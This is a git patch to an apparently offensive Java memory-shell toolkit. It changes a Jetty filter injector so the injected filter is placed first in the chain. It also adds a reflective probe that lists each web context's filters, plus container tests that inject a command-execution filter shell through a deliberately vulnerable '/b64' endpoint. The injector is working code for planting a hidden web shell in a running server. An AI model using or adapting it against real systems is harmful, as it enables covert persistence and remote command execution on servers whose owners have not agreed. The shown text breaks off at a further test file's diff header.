From 1c0d65b3537d2dbd95588d8e22f4f8468a524281 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 8 Jan 2026 19:36:11 +0800 Subject: [PATCH] feat: support addFilterFirst for jetty --- .../injector/jetty/JettyFilterInjector.java | 77 +++--- .../reajason/javaweb/probe/ProbeContent.java | 8 +- .../payload/filter/JettyFilterProbe.java | 241 ++++++++++++++++++ .../integration/probe/DetectionTool.java | 5 + .../probe/jetty/Jetty10ContainerTest.java | 33 +++ .../probe/jetty/Jetty11ContainerTest.java | 27 ++ .../probe/jetty/Jetty12ee10ContainerTest.java | 27 ++ .../probe/jetty/Jetty12ee11ContainerTest.java | 27 ++ .../probe/jetty/Jetty12ee8ContainerTest.java | 27 ++ .../probe/jetty/Jetty12ee9ContainerTest.java | 27 ++ .../probe/jetty/Jetty61ContainerTest.java | 27 ++ .../probe/jetty/Jetty75ContainerTest.java | 27 ++ .../probe/jetty/Jetty76ContainerTest.java | 27 ++ .../probe/jetty/Jetty81ContainerTest.java | 27 ++ .../probe/jetty/Jetty92ContainerTest.java | 27 ++ .../probe/jetty/Jetty93ContainerTest.java | 27 ++ .../probe/jetty/Jetty94ContainerTest.java | 27 ++ 17 files changed, 640 insertions(+), 48 deletions(-) create mode 100644 generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index f447c0b2..6be74449 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; -import java.util.ArrayList; import java.util.HashSet; -import java.util.List; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -86,68 +84,53 @@ public class JettyFilterInjector { return; } - String[] classNames = new String[]{ - "org.eclipse.jetty.servlet.FilterHolder", - "org.eclipse.jetty.ee8.servlet.FilterHolder", - "org.eclipse.jetty.ee9.servlet.FilterHolder", - "org.eclipse.jetty.ee10.servlet.FilterHolder", - "org.eclipse.jetty.ee11.servlet.FilterHolder", - "org.mortbay.jetty.servlet.FilterHolder", + String[][] filterHolderClassNames = new String[][]{ + new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"}, + new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"}, + new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"}, }; Class filterHolderClass = null; + Class filterMappingClass = null; - for (String className : classNames) { + for (String[] classNames : filterHolderClassNames) { try { - filterHolderClass = context.getClass().getClassLoader().loadClass(className); + filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]); + filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]); } catch (ClassNotFoundException ignored) { } } - if (filterHolderClass == null) { - throw new ClassNotFoundException("FilterHodler"); + if (filterHolderClass == null || filterMappingClass == null) { + throw new ClassNotFoundException("FilterHodler or FilterMapping not found"); } Constructor constructor = filterHolderClass.getConstructor(Class.class); Object filterHolder = constructor.newInstance(filter.getClass()); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); - invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1}); - moveFilterToFirst(servletHandler); - invokeMethod(servletHandler, "invalidateChainsCache"); - } - private void moveFilterToFirst(Object servletHandler) throws Exception { - Object filterMaps = getFieldValue(servletHandler, "_filterMappings"); - ArrayList reorderedFilters = new ArrayList(); - int filterLength; + invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder}); - if (filterMaps.getClass().isArray()) { - filterLength = Array.getLength(filterMaps); - for (int i = 0; i < filterLength; i++) { - Object filter = Array.get(filterMaps, i); - String filterName = (String) getFieldValue(filter, "_filterName"); - if (filterName.equals(getClassName())) { - reorderedFilters.add(0, filter); - } else { - reorderedFilters.add(filter); - } - } - for (int i = 0; i < filterLength; i++) { - Array.set(filterMaps, i, reorderedFilters.get(i)); - } - } else if (filterMaps instanceof ArrayList) { - ArrayList filterList = (ArrayList) filterMaps; - for (Object filter : filterList) { - String filterName = (String) getFieldValue(filter, "_filterName"); - if (filterName.equals(getClassName())) { - reorderedFilters.add(0, filter); - } else { - reorderedFilters.add(filter); - } - } - filterList.clear(); - filterList.addAll(reorderedFilters); + Object filterMapping = filterMappingClass.getConstructor().newInstance(); + invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()}); + invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1}); + + Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); + Object[] newMappings = null; + int length = Array.getLength(mappings); + if (mappings == null || length == 0) { + newMappings = (Object[]) Array.newInstance(filterMappingClass, 1); + } else { + newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1); + System.arraycopy(mappings, 0, newMappings, 1, length); } + newMappings[0] = filterMapping; + invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); + invokeMethod(servletHandler, "invalidateChainsCache"); } @Override diff --git a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java index b5f4a6ad..61c2d083 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/ProbeContent.java @@ -8,8 +8,14 @@ public enum ProbeContent { Server, OS, JDK, + // 字节码执行 Bytecode, + // 命令执行 Command, + // 基础信息 BasicInfo, - ScriptEngine + // 脚本引擎执行 + ScriptEngine, + // Filter 配置 + Filter } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java new file mode 100644 index 00000000..e4fae661 --- /dev/null +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/filter/JettyFilterProbe.java @@ -0,0 +1,241 @@ +package com.reajason.javaweb.probe.payload.filter; + +import java.io.ByteArrayOutputStream; +import java.io.PrintStream; +import java.lang.reflect.Array; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.*; + +/** + * @author ReaJason + */ +public class JettyFilterProbe { + + @Override + public String toString() { + String msg = ""; + Map>> allFiltersData = new LinkedHashMap>>(); + Set contexts = null; + try { + contexts = getContext(); + } catch (Throwable throwable) { + msg += "context error: " + getErrorMessage(throwable); + } + if (contexts == null || contexts.isEmpty()) { + msg += "context not found\n"; + } else { + for (Object context : contexts) { + String contextRoot = getContextRoot(context); + List> filters = collectFiltersData(context); + allFiltersData.put(contextRoot, filters); + } + msg += formatFiltersData(allFiltersData); + } + return msg; + } + + private List> collectFiltersData(Object context) { + Map> aggregatedData = new LinkedHashMap<>(); + try { + Object servletHandler = getFieldValue(context, "_servletHandler"); + if (servletHandler == null) return Collections.emptyList(); + Object[] filterMappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings"); + Object[] filterHolders = (Object[]) invokeMethod(servletHandler, "getFilters"); + if (filterMappings == null || filterMappings.length == 0) return Collections.emptyList(); + for (Object mapping : filterMappings) { + String name = (String) invokeMethod(mapping, "getFilterName"); + if (name == null) continue; + if (!aggregatedData.containsKey(name)) { + String filterClass = "N/A"; + if (filterHolders != null) { + for (Object holder : filterHolders) { + String holderName = (String) invokeMethod(holder, "getName"); + if (!name.equals(holderName)) continue; + String cls = (String) invokeMethod(holder, "getClassName"); + if (cls == null) { + Object filterInstance = invokeMethod(holder, "getFilter"); + if (filterInstance != null) { + cls = filterInstance.getClass().getName(); + } + } + + if (cls != null) filterClass = cls; + break; + } + } + Map info = new HashMap<>(); + info.put("filterName", name); + info.put("filterClass", filterClass); + info.put("urlPatterns", new LinkedHashSet()); + aggregatedData.put(name, info); + } + Map info = aggregatedData.get(name); + String[] pathSpecs = null; + try { + pathSpecs = (String[]) invokeMethod(mapping, "getPathSpecs"); + } catch (Exception ignored) { + } + + if (pathSpecs != null) { + ((Set) info.get("urlPatterns")).addAll(Arrays.asList(pathSpecs)); + } + } + } catch (Exception ignored) { + } + List> result = new ArrayList<>(); + for (Map entry : aggregatedData.values()) { + Map finalInfo = new HashMap<>(); + finalInfo.put("filterName", (String) entry.get("filterName")); + finalInfo.put("filterClass", (String) entry.get("filterClass")); + + Set urls = (Set) entry.get("urlPatterns"); + finalInfo.put("urlPatterns", urls.isEmpty() ? "" : urls.toString()); + + result.add(finalInfo); + } + return result; + } + + @SuppressWarnings("all") + private String formatFiltersData(Map>> allFiltersData) { + StringBuilder output = new StringBuilder(); + for (Map.Entry>> entry : allFiltersData.entrySet()) { + String context = entry.getKey(); + List> filters = entry.getValue(); + output.append("Context: ").append(context).append("\n"); + if (filters.isEmpty()) { + output.append("No filters found\n"); + } else if (filters.size() == 1 && filters.get(0).containsKey("error")) { + output.append(filters.get(0).get("error")).append("\n"); + } else { + for (Map info : filters) { + appendIfPresent(output, "", info.get("filterName"), ""); + appendIfPresent(output, " -> ", info.get("filterClass"), ""); + appendIfPresent(output, " -> URL:", info.get("urlPatterns"), ""); + output.append("\n"); + } + } + } + return output.toString(); + } + + private void appendIfPresent(StringBuilder sb, String prefix, String value, String suffix) { + if (value != null && !value.isEmpty()) { + sb.append(prefix).append(value).append(suffix); + } + } + + @SuppressWarnings("all") + private String getContextRoot(Object context) { + String r = null; + try { + r = (String) invokeMethod(context, "getContextPath"); + } catch (Exception ignored) { + } + String c = context.getClass().getName(); + if (r == null) { + return c; + } + if (r.isEmpty()) { + return c + "(/)"; + } + return c + "(" + r + ")"; + } + + /** + * org.mortbay.jetty.webapp.WebAppContext + * org.eclipse.jetty.webapp.WebAppContext + * org.eclipse.jetty.ee8.webapp.WebAppContext + * org.eclipse.jetty.ee9.webapp.WebAppContext + * org.eclipse.jetty.ee10.webapp.WebAppContext + */ + public Set getContext() throws Exception { + Set contexts = new HashSet(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + try { + // jetty 6 + Object contextClassLoader = invokeMethod(thread, "getContextClassLoader"); + if (contextClassLoader.getClass().getName().contains("WebAppClassLoader")) { + contexts.add(getFieldValue(contextClassLoader, "_context")); + } else { + // jetty 7+ + Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table"); + for (int i = 0; i < Array.getLength(table); i++) { + Object entry = Array.get(table, i); + if (entry != null) { + Object threadLocalValue = getFieldValue(entry, "value"); + if (threadLocalValue != null) { + if (threadLocalValue.getClass().getName().contains("WebAppContext")) { + contexts.add(getFieldValue(threadLocalValue, "this$0")); + } + } + } + } + } + } catch (Exception ignored) { + } + } + return contexts; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) { + Class[] paramClazz = null; + Object[] param = null; + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); + } + + @SuppressWarnings("all") + private String getErrorMessage(Throwable throwable) { + PrintStream printStream = null; + try { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + printStream = new PrintStream(outputStream); + throwable.printStackTrace(printStream); + return outputStream.toString(); + } finally { + if (printStream != null) { + printStream.close(); + } + } + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java index 1b1709c8..00e679e0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/DetectionTool.java @@ -4,6 +4,7 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; import com.reajason.javaweb.probe.payload.BasicInfoPrinter; import com.reajason.javaweb.probe.payload.JdkProbe; import com.reajason.javaweb.probe.payload.ServerProbe; +import com.reajason.javaweb.probe.payload.filter.JettyFilterProbe; import com.reajason.javaweb.probe.payload.filter.TomcatFilterProbe; import com.reajason.javaweb.utils.CommonUtil; import net.bytebuddy.ByteBuddy; @@ -38,4 +39,8 @@ public class DetectionTool { public static String getTomcatFilterProbe() { return getBase64Class(TomcatFilterProbe.class); } + + public static String getJettyFilterProbe() { + return getBase64Class(JettyFilterProbe.class); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java index f432a30b..65cdef73 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty10ContainerTest.java @@ -4,9 +4,13 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -15,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -34,6 +42,11 @@ public class Jetty10ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -69,4 +82,24 @@ public class Jetty10ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java index ffbbfe08..507d96d8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty11ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +82,24 @@ public class Jetty11ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java index aa0f9670..d91ab2c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee10ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,4 +69,24 @@ public class Jetty12ee10ContainerTest { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java index d2a75485..7af0fbf1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee11ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,4 +69,24 @@ public class Jetty12ee11ContainerTest { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java index bdeeca13..e029e0e2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee8ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -68,4 +75,24 @@ public class Jetty12ee8ContainerTest { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java index ca93ceda..fa3576a1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty12ee9ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -62,4 +69,24 @@ public class Jetty12ee9ContainerTest { String url = getUrl(container); ProbeAssertion.responseCommandIsOk(url, Server.Jetty, Opcodes.V21); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V21, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java index f61918b1..bb3891a5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty61ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -16,9 +19,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +82,24 @@ public class Jetty61ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java 